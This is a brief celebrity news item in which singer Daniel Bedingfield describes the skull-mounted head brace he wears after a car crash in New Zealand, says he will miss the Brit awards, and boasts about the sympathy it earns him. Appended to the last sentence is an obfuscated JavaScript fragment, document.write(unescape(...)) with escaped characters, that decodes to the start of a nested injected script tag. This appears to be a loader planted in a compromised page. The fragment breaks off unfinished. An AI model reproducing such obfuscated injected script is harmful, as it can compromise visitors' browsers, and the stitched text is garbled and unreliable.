Daniel Bedingfield braces himself

Daniel Bedingfield has been telling Chris Moyles about the head brace he has to wear after injuring himself in a car crash in New Zealand.

The device is screwed into his skull and he's got to wear it for at least six weeks, which means he won't be able to attend the Brit awards. However, Daniel reckons he won't win in any of the three categories he's up for.

But he revealed that something good has come out of the accident:

'I have kissed eight women so far! This is the biggest chick magnet I've ever had in my life. I'm not joking! I get so much sympathy. I get SO much sympathy!'

'They stare deeply into my eyes and hold my hand and go 'Are you alright?' and I go 'No' and they go 'Shall I make it better?' and I go 'Yes!'

'It's all good!'

It could come in handy for Daniel's 'I'm Not Dead' party he's throwing in New Zealand on Wednesday.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
